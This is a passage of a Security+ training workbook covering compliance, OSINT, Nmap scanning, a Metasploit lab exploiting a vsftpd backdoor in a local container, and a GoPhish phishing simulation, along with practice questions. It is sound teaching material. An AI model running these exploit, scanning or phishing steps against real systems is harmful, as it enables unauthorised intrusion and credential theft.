apt-get update -qq && apt-get install -y curl gnupg coreutils
```

```
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh |
sh -s -- -b /usr/local/bin
```

```
syft version
```

2. Generate an SBOM of installed software Syft catalogues packages into a standard SBOM format (SPDX).

```
mkdir -p ~/supplychain && cd ~/supplychain
```

```
syft dir:/usr/bin -o spdx-json=sbom.spdx.json
```

```
ls -l sbom.spdx.json
```

3. Read the SBOM component list The table view shows each component and its version — the data you query against a CVE feed.

```
cd ~/supplychain
```

```
syft dir:/usr/bin -o table | head -20
```

4. Download a vendor release and its published hashes We use a real, stable GitHub release (jq) that publishes checksums and signatures.

```
cd ~/supplychain
```

```
BASE=https://github.com/jqlang/jq/releases/download/jq-1.7.1
```

```
curl -sSLO $BASE/jq-linux-amd64
```

```
curl -sSLO $BASE/sha256sum.txt
```

```
ls -l jq-linux-amd64 sha256sum.txt
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

5. Verify the SHA-256 checksum (integrity) A matching hash proves the bytes were not tampered with in transit.

```
cd ~/supplychain

grep 'jq-linux-amd64' sha256sum.txt > my-sum.txt

sha256sum -c my-sum.txt
```

6. Verify the GPG signature (authenticity) A signature verified against the vendor's public key proves the file's origin. (If no key is imported, verification fails loudly — which is the point.)

```
cd ~/supplychain

curl -sSLO https://github.com/jqlang/jq/releases/download/jq-1.7.1/jq-linux-amd64.asc 2>/dev/null || true

gpg --verify jq-linux-amd64.asc jq-linux-amd64 2>&1 | head -5 || \

  echo "Signature check ran — import the vendor key to get a trusted result."
```

7. Write the vendor-trust checklist Technical verification plus contractual assurance together make up third-party due diligence.

```
cd ~/supplychain

cat > vendor-trust.md <<'EOF'

# Vendor Trust Checklist

Vendor: Example SaaS Pte Ltd

[ ] SBOM obtained and scanned against CVE feed

[x] Download integrity verified (SHA-256)

[ ] Download authenticity verified (GPG signature)

[ ] Right-to-audit clause present in the contract

[ ] Security questionnaire (SIG/CAIQ) returned and reviewed

[ ] Independent assessment on file (SOC 2 / ISO 27001)

[ ] Supply chain analysis: their sub-processors listed

EOF

cat vendor-trust.md
```

Test it

sbom.spdx.json lists components with versions, the checksum verifies OK, and vendor-trust.md records right-to-audit and questionnaire items.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Note: Full commands, troubleshooting and the challenge task are in labs/lab-47-supply-chain-sbom/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 5.4 — Security Compliance

Official objective: Summarize elements of effective security compliance.

Compliance is proving you meet the laws, regulations and standards that apply to you, through reporting and continuous monitoring.

Non-compliance carries real consequences: fines, sanctions, reputational damage, loss of a licence and contractual penalties.

Monitoring relies on due diligence and due care, attestation and acknowledgement, internal and external review, and automation to scale.

Privacy is a core compliance area covering data subjects, the controller-versus-processor split, ownership, data inventory and retention, and the right to be forgotten.

Compliance Reporting

- Internal reporting — Reporting compliance status up to management and the board so leaders can act on gaps they own.
- External reporting — Reporting to regulators, auditors, customers or the public, often on a mandated schedule or after a breach.
- Attestation — A formal signed statement that controls are in place and operating, by management or an external auditor.
- Acknowledgement — Confirmation that staff have read and accepted a policy, creating an auditable record of awareness.

Consequences of Non-Compliance

- Fines — Monetary penalties from a regulator, which for privacy law can reach a percentage of global turnover.
- Sanctions — Formal restrictions or enforcement actions imposed by an authority on how you may operate.
- Reputational damage — Lost customer and partner trust after a public failure, often the most lasting cost of all.
- Loss of license — A regulator can revoke the licence you need to trade in a sector, ending the business line.
- Contractual impacts — Breaching a compliance clause can void contracts, trigger penalties or lose you the customer.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Compliance Monitoring

- Due Diligence vs Care: Due diligence is investigating before you act.; Due care is acting responsibly on an ongoing basis.; Together they show a reasonable standard was met.
- Internal & External: Internal monitoring is your own continuous checks.; External monitoring is audits and regulator review.; Both feed the reporting cycle above.
- Automation: Automated tools scan configs against a baseline.; They produce continuous evidence, not point-in-time.; Automation scales compliance across large estates.

Privacy Roles and Ownership

- Data subject — The identified living individual the personal data is about; privacy law exists to protect them.
- Controller — Decides why and how personal data is processed and carries the primary legal accountability.
- Processor — Processes personal data only on the controller's documented instructions, such as a cloud or payroll provider.
- Ownership — The accountable role that sets classification and permitted use of a data set within the organisation.

Privacy Concepts and Laws

- Legal implications — Privacy duties apply at local, regional, national and global levels; cross-border transfers add further rules.
- GDPR — The EU regulation granting data-subject rights and imposing heavy fines, often the reference privacy law on the exam.
- Singapore PDPA — Singapore's Personal Data Protection Act is the local equivalent, governing consent, purpose and protection of personal data.
- Data inventory & retention — Know what personal data you hold and where, and keep it only for a defined, lawful retention period.
- Right to be forgotten — A data subject can request erasure of their personal data where there is no lawful basis to keep it.

Obj 5.4 · Accountability

- The controller stays accountable even when a processor does the work. Outsourcing processing never outsources the legal duty; the controller must bind the processor by contract and still answer for the data.

Exam tips

- Controller decides the why/how of processing and is accountable; processor only acts on the controller's instructions.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Due diligence = investigate before acting; due care = act responsibly over time. Attestation is a signed assurance.
- Right to be forgotten = a data subject's request to erase their personal data (GDPR; PDPA is Singapore's local law).
- Consequences of non-compliance: fines, sanctions, reputational damage, loss of licence, contractual impacts.

Lab 48 — Compliance Audit with OpenSCAP

Exam objective: 5.4. Learning outcome: Scan a host against a CIS profile and remediate.

Goal: Audit an Ubuntu host against a CIS profile with OpenSCAP, produce the HTML report as compliance evidence, and remediate one failed control.

What you'll build

An OpenSCAP CIS scan, HTML report and a remediated control (Tools: openscap-scanner/libopenscap8, ssg-base, ssg-debderived.)

Step-by-step

1. Install the SCAP Security Guide content and OpenSCAP scanner The oscap binary ships in libopenscap8 on 22.04 and openscap-scanner on 24.04; install whichever this release provides.

```
apt-get update -qq

apt-get install -y ssg-base ssg-debian ssg-debderived

apt-get install -y openscap-scanner || apt-get install -y libopenscap8

ls /usr/share/xml/scap/ssg/content/ | grep ubuntu
```

2. Select the Ubuntu SCAP datastream The datastream bundles the rules, profiles and tests into one file.

```
DS=$(ls /usr/share/xml/scap/ssg/content/ssg-ubuntu*-ds.xml | head -1)

echo "Using $DS"
```

3. List available compliance profiles A profile is a named subset of rules, selected on the command line.

```
oscap info "$DS" | grep -A1 -i profile | head -20
```

4. Run the CIS Level 1 audit This evaluates the host and writes both machine evidence (ARF) and a human report.

```
oscap xccdf eval \

  --profile xccdf_org.ssgproject.content_profile_cis_level1_server \

  --results-arf arf.xml \
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
  --report report.html \
  "$DS" 2>&1 | tail -10
ls -l report.html arf.xml
```

5. Generate the auto-remediation script SCAP can emit a fix script straight from the same profile — review before running.

```
oscap xccdf generate fix \
  --profile xccdf_org.ssgproject.content_profile_cis_level1_server \
  --output remediate.sh "$DS"
head -20 remediate.sh
```

6. Apply one fix and re-check the rule Remediate a single, safe control, then re-evaluate just that rule to confirm.

```
apt-get purge -y telnet 2>/dev/null || true
oscap xccdf eval \
  --rule xccdf_org.ssgproject.content_rule_package_telnet_removed \
  "$DS" 2>&1 | grep -i result
```

Test it

report.html shows pass/fail per control and the score rises after the single remediation is applied.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-48-compliance-openscap/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 5.5 — Audits & Assessments

Official objective: Explain types and purposes of audits and assessments.

Audits and assessments independently check that controls exist and work, giving assurance to leadership, regulators and customers.

They can be internal (compliance checks, an audit committee, self-assessments) or external (regulatory examinations, assessments, independent third-party audits).

Attestation is a formal signed statement that the controls are in place, underpinning the whole assurance picture.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Penetration testing actively proves exploitability, and differs by posture (offensive, defensive, integrated, physical) and by how much the testers are told.

Attestation and Internal Audits

- Attestation — A formal signed assertion that controls are implemented and operating, by management or an auditor.
- Compliance (internal) — The internal team checks the organisation against the obligations it must meet, before anyone external does.
- Audit committee — A board-level committee that oversees audit activity independently of day-to-day management.
- Self-assessments — A team evaluates its own controls against a checklist; cheap and frequent, but the least independent.

External Audits

- Regulatory — An audit driven by a regulator's rules, confirming you meet a legal or sector requirement.
- Examinations — A regulator's formal inspection of your controls and records, common in finance and healthcare.
- Assessment — A broader external evaluation of security posture, not necessarily tied to a single standard.
- Independent third-party audit — A qualified outside firm audits you for an objective, credible result such as a SOC 2 report.

Penetration Testing Types

- Offensive — The red team emulating an attacker to find and exploit weaknesses before a real adversary does.
- Defensive — The blue team detecting and responding, testing whether monitoring and response actually work.
- Integrated — A holistic purple-team approach where offence and defence work together to improve both at once.
- Physical — Testing physical controls: tailgating, badge cloning and server-room access, not just the network.

How Much the Testers Know

- Known environment — Full documentation and credentials are provided, so testers go deep quickly. Formerly called white-box.
- Partially known — Some information is shared, balancing realism against time. Formerly called grey-box.
- Unknown environment — Testers get nothing and must discover everything, modelling an outside attacker. Formerly black-box.
- Reconnaissance — The information-gathering phase that opens every test, before any exploitation is attempted.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Passive versus Active Reconnaissance

- Passive: No packet is ever sent to the target's own systems.
- Passive: Data comes from public sources: registries, search, CT logs.
- Passive: It leaves nothing in the target's firewall or server logs.
- Passive: Lawful and undetectable, but slower and less complete.
- Active: Testers interact directly by scanning and banner grabbing.
- Active: It confirms what is truly live, not just what was published.
- Active: It appears in the target's IDS and SIEM as real traffic.
- Active: Faster and more accurate, but it announces your presence.

Obj 5.5 · The Difference

- A scan reports a weakness; a pentest proves it is exploitable. Audits give assurance that controls exist; penetration testing demonstrates real business impact by chaining those weaknesses together.

Exam tips

- Known = white-box (full info), unknown = black-box (no info), partially known = grey-box (some info).
- Offensive = red team; defensive = blue team; integrated = purple team working together.
- Self-assessment is cheapest and least independent; an independent third-party audit is the most credible.
- Passive recon sends no packets to the target; active recon does and is visible in the target's logs.

Lab 49 — Passive Reconnaissance / OSINT

Exam objective: 5.5. Learning outcome: Collect a domain footprint using only passive tools.

Goal: Gather a domain's public footprint with passive OSINT tools that never send a packet to the target, the reconnaissance phase of an authorised assessment.

What you'll build

A passive recon report for an authorised domain (Tools: whois, dnsutils, theHarvester, subfinder, jq.)

Step-by-step

1. Install the passive OSINT tools The PyPI theHarvester is an abandoned stub, so install from source; grab the prebuilt subfinder binary.

```
apt-get update -qq && apt-get install -y whois dnsutils python3-pip jq
unzip curl
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
pip3 install --break-system-packages
git+https://github.com/laramies/theHarvester.git

SF=$(curl -s
https://api.github.com/repos/projectdiscovery/subfinder/releases/latest |
grep -oP '"tag_name": "v\K[^"]+')

curl -sL
"https://github.com/projectdiscovery/subfinder/releases/download/v${SF}/
subfinder_${SF}_linux_amd64.zip" -o /tmp/sf.zip

unzip -o /tmp/sf.zip subfinder -d /usr/local/bin/ && chmod +x
/usr/local/bin/subfinder
```

2. Set an authorised target domain Use a domain you own or one explicitly authorised; example.com is always safe to demonstrate.

```
TARGET=example.com

echo "Target: $TARGET"
```

3. Query WHOIS registrant and dates WHOIS shows registrar, creation/expiry dates and name servers (privacy proxies may hide contacts).

```
whois "$TARGET" | grep -Ei "registrar|registrant|expir|name server" | head
```

4. Enumerate DNS records (MX, TXT, NS) Mail and policy records map the estate and reveal email-security gaps.

```
dig +short MX "$TARGET"

dig +short TXT "$TARGET"

dig +short TXT "_dmarc.$TARGET"

dig +short NS "$TARGET"
```

5. Discover subdomains passively with subfinder Subfinder queries 25+ public sources without touching the target.

```
subfinder -silent -d "$TARGET" | tee subs.txt

wc -l subs.txt
```

6. Harvest emails and hosts theHarvester aggregates public email addresses and hostnames.

```
theHarvester -d "$TARGET" -b crtsh,duckduckgo,bing 2>/dev/null | tail -30
```

7. Pull certificate transparency records Every certificate ever issued for the domain is public — including forgotten hostnames.

```
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | jq -r '.
[].name_value' | sort -u | head -20
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

8. Build the recon report Summarise the footprint into the report that scopes the rest of the assessment.

```
cat > "recon-$TARGET.md" <<EOF

# Passive Recon Report — $TARGET

- Subdomains found: $(wc -l < subs.txt)

- DMARC: $(dig +short TXT _dmarc.$TARGET | head -1)

- SPF: $(dig +short TXT $TARGET | grep -i spf | head -1)

- Packets sent to target: 0 (all data from public sources)

EOF

cat "recon-$TARGET.md"
```

Test it

recon-example.com.md lists the subdomain count plus the domain's DMARC and SPF records, with no traffic sent to the target.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-49-osint-recon/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 50 — Active Reconnaissance with Nmap

Exam objective: 5.5. Learning outcome: Fingerprint a local host with Nmap scans and NSE.

Goal: Fingerprint a local host with Nmap host discovery, version and OS detection and NSE scripts, scanning only loopback inside the playground.

What you'll build

An Nmap scan of local nginx and SSH targets, saved in three formats (Tools: nmap, nginx, openssh-server.)

Step-by-step

1. Install nmap and start nginx + ssh targets We run nginx (80) and ssh (22) so the detection steps have real services to fingerprint.

```
apt-get update -qq && apt-get install -y nmap nginx openssh-server

service nginx start || systemctl start nginx
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
service ssh start || systemctl start ssh
```

2. Discover live hosts with a ping scan -sn confirms a host is alive without scanning any ports.

```
nmap -sn 127.0.0.0/30
```

3. Run a TCP SYN half-open scan -sS is the classic stealth scan; it never completes the handshake.

```
nmap -sS -p 1-1024 127.0.0.1
```

4. Detect service versions -sV probes each open port and names the product and version — the hook for CVE mapping.

```
nmap -sV -p 22,80 127.0.0.1
```

5. Fingerprint the OS -O infers the operating system from TCP/IP stack traits.

```
nmap -O 127.0.0.1 2>&1 | grep -iE "os|device" | head
```

6. Run NSE discovery scripts These scripts enumerate banners, HTTP headers and SSH crypto — input to TLS/SSH hardening labs.

```
nmap --script=banner,http-headers,ssh2-enum-algos -p 22,80 127.0.0.1
```

7. Review timing templates for stealth vs speed Measure a full-port scan at an aggressive template (authorised lab only).

```
time nmap -T4 -p- 127.0.0.1 | tail -10
```

8. Save results in three report formats -oA writes .nmap (human), .gnmap (grep) and .xml (machine — what reporting tools consume).

```
nmap -sV -oA scan-127 127.0.0.1
```

```
ls scan-127.*
```

Test it

nmap -sV reports nginx on port 80 and OpenSSH on port 22, and scan-127.xml is written for reporting.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-50-active-recon-nmap/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 51 — Penetration Testing in an Authorised Lab

Exam objective: 5.5. Learning outcome: Exploit a lab target and write the engagement report.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Goal: Validate a deliberately vulnerable service inside a local container with Metasploit, capture proof of access, clean up, then write the engagement report.

What you'll build

A Metasploit validation of a lab container and a pentest report (Tools: metasploit-framework, docker.io, nmap.)

Step-by-step

1. Install Metasploit via the Rapid7 installer Metasploit is not in the Ubuntu repos; use Rapid7's official signed installer.

```
apt-get update -qq && apt-get install -y curl gpg

curl -sSL
https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/
templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall

chmod 755 /tmp/msfinstall && /tmp/msfinstall

msfconsole -v
```

2. Stand up the authorised vulnerable target in Docker A disposable container on loopback is the only sanctioned target.

```
apt-get install -y docker.io nmap && (service docker start || systemctl
start docker)

docker run -d --name vuln -p 2121:21 --rm tleemcjr/metasploitable2 \

  /bin/bash -c "service vsftpd start && sleep infinity"

docker ps
```

3. Recon the target service banner Confirm the service and version before selecting a module.

```
nmap -sV -p 2121 127.0.0.1
```

4. Search Metasploit for matching modules Match the banner to a known module.

```
msfconsole -q -x "search vsftpd; exit"
```

5. Validate the finding against the lab target Run the module against the loopback container to confirm the weakness is real.

```
msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS
127.0.0.1; set RPORT 2121; run; sessions -l; exit"
```

6. Capture proof of access Record the command, output and timestamp — these are the engagement's evidence.

```
msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS
127.0.0.1; set RPORT 2121; run; sessions -i 1 -c 'id; uname -a; hostname';
exit"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

7. Clean up the target container Confirm no artefacts remain — a required section of any report.

```
docker rm -f vuln

docker ps -a | grep vuln || echo "target removed, no artefacts left"
```

8. Write the engagement report Every pentest report carries scope, findings, evidence, recommendations and clean-up. ```bash cat > pentest-report.md <<'EOF' # Penetration Test Report — Lab Engagement

Test it

A session opens against the lab container, id returns the target account as proof, the container is removed and pentest-report.md is written.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-51-pentest-metasploit/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 5.6 — Security Awareness

Official objective: Given a scenario, implement security awareness practices.

People are a control surface, so a security awareness program trains them to recognise, resist and report attacks.

Phishing campaigns test and teach users, who must recognise attempts and know how to respond to reported suspicious messages.

Staff should also recognise anomalous behaviour in themselves and others, whether risky, unexpected or unintentional.

User guidance and training covers many topics, and the program follows a lifecycle of development, execution and reporting and monitoring, both initial and recurring.

Phishing Awareness

- Campaigns — Simulated phishing sent to staff to measure and improve how they respond, always against opted-in internal users.
- Recognizing attempts — Teaching the cues: urgency, mismatched sender, odd links, unexpected attachments and requests for credentials.
- Responding to reports — A clear, blame-free process for what to do when a user reports a suspicious message, and how the team triages it.
- One-click reporting — A report button makes the safe action the easy action and surfaces real campaigns within minutes.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Recognising Anomalous Behaviour

- Risky — Behaviour that knowingly raises risk, such as reusing passwords or disabling a security control to save time.
- Unexpected — Activity that does not fit the person or role, such as a finance login from an unusual country at 3am.
- Unintentional — An honest mistake with security impact, such as emailing a spreadsheet of personal data to the wrong address.

User Guidance and Training (1 of 2)

- Policy/handbooks — The written rules staff must follow, delivered in a readable handbook and acknowledged on joining.
- Situational awareness — Noticing and reacting to what is happening around you, online and in the physical workplace.
- Insider threat — Recognising and reporting the signs of a malicious or negligent insider misusing their access.
- Password management — Using strong, unique passwords, a password manager and MFA rather than reuse and sticky notes.

User Guidance and Training (2 of 2)

- Removable media & cables — The risk of unknown USB drives and cables; never plug in found or unvetted devices.
- Social engineering — Recognising manipulation such as pretexting, tailgating and impersonation that targets people, not systems.
- Operational security — Not leaking details, through chat, social media or conversation, that help an attacker build a pretext.
- Hybrid/remote work — Securing home and travel setups: VPN, patched devices, locked screens and private screens in public.

Running the Awareness Program

- Development: Define objectives, audience and risk topics.; Build content tailored to real roles and threats.; Align it with policy and the threat landscape.
- Execution: Deliver the training and launch campaigns.; Keep lures realistic but never cruel.; Teach at the moment of a mistake (just-in-time).
- Reporting & Monitoring: Initial training happens at onboarding.; Recurring refreshers keep awareness current.; Track metrics and trends, not single results.

Obj 5.6 · Culture

- Awareness metrics should drive training, never punishment. A blame-free culture makes people report fast; a punitive one makes them hide mistakes, so real incidents surface far too late.

Exam tips

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Anomalous behaviour: risky = knowingly unsafe; unexpected = out of pattern; unintentional = honest mistake.
- Awareness program lifecycle: development, execution, then reporting and monitoring (initial at onboarding, recurring refreshers).
- Phishing simulations are for education, not discipline; drive the report rate up and the click rate down over time.
- Removable media/cables, social engineering, insider threat and operational security are all named awareness training topics.

Lab 52 — Security Awareness: Phishing Simulation

Exam objective: 5.6. Learning outcome: Run a phishing simulation end-to-end with metrics.

Goal: Run a controlled phishing simulation with GoPhish against an internal MailHog sink, track open and click metrics, and map results to training actions.

What you'll build

A GoPhish campaign with a MailHog SMTP sink and awareness metrics (Tools: gophish, docker.io, mailhog, curl, unzip.)

Step-by-step

1. Download and unzip the GoPhish binary GoPhish ships as a single Go binary.

```
apt-get update -qq && apt-get install -y unzip curl

mkdir -p /opt/gophish && cd /opt/gophish

curl -sLO
https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-
v0.12.1-linux-64bit.zip

unzip -o gophish-v0.12.1-linux-64bit.zip && chmod +x gophish
```

2. Bind the admin UI for the playground Expose the admin UI so you can reach it from the Killercoda tab (lab only).

```
cd /opt/gophish

sed -i 's/127.0.0.1:3333/0.0.0.0:3333/' config.json

grep admin_server config.json
```

3. Start GoPhish and note the admin password GoPhish prints an auto-generated admin password to stdout on first run.

```
cd /opt/gophish

(./gophish > gophish.log 2>&1 &) ; sleep 5

grep -iE "please login|admin|password" gophish.log | head -3
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

4. Spin up the MailHog SMTP sink MailHog captures all outbound mail so nothing reaches a real inbox.

```
apt-get install -y docker.io && (service docker start || systemctl start
docker)

docker run -d -p 1025:1025 -p 8025:8025 mailhog/mailhog

docker ps | grep mailhog
```

5. Configure the four GoPhish primitives In the UI, create: a Sending Profile pointing at host 127.0.0.1:1025 (MailHog); an Email Template ("Password expiry — please reset") containing a {{.URL}} token; a Landing Page that records clicks (never capture real passwords); and a Users & Groups list of opted-in test addresses only.

6. Launch the campaign and watch the dashboard Create and launch the campaign, then watch the dashboard track sent, opened (tracking pixel), clicked and submitted.

7. Map click and report rates to training actions Convert metrics into education, not punishment.

```
Click rate < 5%   -> quarterly refresh only

Click rate 5-15%  -> targeted micro-learning

Click rate > 15%  -> mandatory training + manager comms

Report rate       -> drive this UP (reward reporting, including false
alarms)
```

Test it

The campaign dashboard tracks sent, opened and clicked, test emails land in MailHog, and results map to training actions rather than blame.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-52-phishing-awareness-gophish/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Practice Questions — Domain 5

1. [5.1] Which document is a mandatory, specific requirement implementing a policy? A) Guideline B) Standard C) Procedure D) Playbook

2. [5.1] A company lets each business unit set its own security policy close to its risk. This governance is best described as: A) Centralized B) Regulatory C) Decentralized D) Directive

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

3. [5.2] AV=200,000, EF=0.6, ARO=0.5. What is the ALE? A) 60,000 B) 120,000 C) 100,000 D) 240,000

4. [5.2] An organisation buys cyber insurance to cover breach costs. Which risk strategy is this? A) Mitigate B) Avoid C) Transfer D) Accept

5. [5.3] Which contract clause lets a customer inspect a vendor's security controls during the relationship? A) SLA B) NDA C) Right-to-audit D) MOU

6. [5.4] A cloud provider processes personal data strictly on its customer's documented instructions. The provider is the: A) Data subject B) Controller C) Processor D) Owner

7. [5.5] Testers are given no credentials or documentation and must discover everything. This engagement is: A) Known B) Partially known C) Unknown D) Integrated

8. [5.6] A user emails a file of customer data to the wrong recipient by mistake. This anomalous behaviour is: A) Risky B) Unexpected C) Unintentional D) Malicious

Answers

- Q1: B — A standard is a mandatory, specific requirement (e.g. min password length) implementing a broader policy.
- Q2: C — Decentralized governance pushes policy-setting to the business units; faster and context-aware but harder to audit.
- Q3: A — SLE = 200,000 x 0.6 = 120,000; ALE = 120,000 x 0.5 = 60,000 per year.
- Q4: C — Transfer shifts the financial loss to a third party; the underlying risk still exists.
- Q5: C — A right-to-audit clause grants the customer permission to inspect the vendor's security directly or via an agent.
- Q6: C — The processor acts only on the controller's instructions; the controller decides why and how data is processed.
- Q7: C — An unknown (black-box) environment gives testers nothing, modelling an external attacker.
- Q8: C — Unintentional: an honest mistake with security impact, not a knowing or out-of-pattern act.

Wrap-Up and Exam Readiness

Over five days you have moved through all five SY0-701 domains and all 28 exam objectives, building and testing 52 security controls with your own hands. This section pulls the threads together and points you at the exam.

What you can now do

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Classify any control by category and type, and explain which part of the CIA triad it protects.
- Use hashing, symmetric and asymmetric encryption, and a private PKI correctly and for the right reasons.
- Recognise and mitigate the major attack classes — phishing, password attacks, injection, XSS, malware and DoS.
- Design a layered architecture with segmentation, firewalls, a WAF, a VPN and encryption at rest and in transit.
- Operate a monitoring and response capability: SIEM, IDS, EDR, file-integrity monitoring and an IR playbook.
- Run the governance layer — a CVSS-scored risk register, compliance auditing and awareness testing.

Preparing for the SY0-701 exam

- The exam is 90 minutes, up to 90 questions, multiple-choice plus performance-based questions; the passing score is 750/900.
- Performance-based questions reward exactly the hands-on work you did in these labs — revisit any lab whose 'Test it' step you struggled with.
- Re-read the official exam objectives PDF and tick off each bullet against the lab that covered it.
- Use the practice exam at https://exams.tertiaryinfotech.com/practice-exams/comptia/comptia-security-plus to find your weak domains, then drill those.
- Weight your revision by domain: Security Operations (28%) and Threats (22%) carry half the exam between them.

Keeping the skills alive

- Re-run the labs from the course repository whenever you want to refresh a tool.
- Follow CVE feeds and practise scoring new vulnerabilities with CVSS.
- Build a home lab and repeat the detection labs against traffic you generate yourself.

Next Steps

- Book and sit the CompTIA Security+ SY0-701 exam while the hands-on work is fresh.
- Progress to CompTIA CySA+ for defensive analytics, or PenTest+ for offensive testing.
- Deepen the Linux foundation with CompTIA Linux+, or the network layer with CompTIA Network+.
- Apply the labs at work: start with a hardening baseline and a risk register for one real system.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Glossary

- **AAA —** Authentication, Authorization and Accounting — the three functions that govern identity: proving who you are, deciding what you may do, and recording what you did.
- **ATT&CK —** MITRE ATT&CK — a public knowledge base of adversary tactics and techniques used to profile threat actors and map detections.
- **Backout plan —** The documented, tested steps to reverse a change if it fails — a required element of change management (Objective 1.3).
- **CIA Triad —** Confidentiality, Integrity and Availability — the three properties every security control exists to protect.
- **CVSS —** Common Vulnerability Scoring System — a 0.0–10.0 severity score built from base, temporal and environmental metrics, used to prioritise remediation.
- **DKIM —** DomainKeys Identified Mail — a cryptographic signature in the mail header that proves a message was authorised by the sending domain and not altered in transit.
- **DMARC —** Domain-based Message Authentication, Reporting and Conformance — a DNS policy that tells receivers what to do when SPF and DKIM fail, and where to send reports.
- **EDR —** Endpoint Detection and Response — endpoint agents that continuously record process, file and network activity for detection and forensic query.
- **FIM —** File Integrity Monitoring — baselining critical files' hashes and alerting on any unauthorised change (e.g. AIDE).
- **Hashing —** A one-way function producing a fixed-length digest. Used to prove integrity; it is not encryption because it cannot be reversed.
- **Honeytoken —** A fake credential or data record planted so that any use of it reliably signals an intruder (deception technology).
- **IDS —** Intrusion Detection System — inspects network traffic against signatures or anomalies and raises alerts (e.g. Suricata).
- **Key stretching —** Deliberately slowing a password hash with many iterations (bcrypt, PBKDF2, Argon2) so offline cracking becomes expensive.
- **LUKS —** Linux Unified Key Setup — the standard Linux full-disk encryption format protecting data at rest.
- **MFA —** Multi-Factor Authentication — combining two or more of something you know, something you have and something you are.
- **Non-repudiation —** The assurance that a party cannot deny having sent or signed something, provided by digital signatures.
- **OSINT —** Open-Source Intelligence — reconnaissance using only publicly available information, with no contact with the target's systems.
- **PKI —** Public Key Infrastructure — the certificate authorities, certificates, and revocation lists that bind public keys to verified identities.
- **RPO / RTO —** Recovery Point Objective is the maximum tolerable data loss; Recovery Time Objective is the maximum tolerable downtime.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- **Salting —** Adding a unique random value to each password before hashing, so identical passwords produce different digests and rainbow tables fail.
- **SBOM —** Software Bill of Materials — an inventory of every component and version in a piece of software, used for supply-chain risk.
- **SIEM —** Security Information and Event Management — centralises logs from many sources and correlates them into actionable alerts.
- **SOAR —** Security Orchestration, Automation and Response — playbooks that automate repetitive detection and response steps.
- **SPF —** Sender Policy Framework — a DNS record listing the hosts authorised to send mail for a domain.
- **TLS —** Transport Layer Security — the protocol protecting data in transit; hardening means disabling weak protocol versions and cipher suites.
- **Tokenization —** Replacing sensitive data with a non-sensitive token that maps back to the original only through a secured vault.
- **WAF —** Web Application Firewall — filters HTTP requests against attack signatures such as the OWASP Core Rule Set.
- **Zero Trust —** An architecture that never grants implicit trust based on network location; every request is authenticated, authorised and encrypted.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg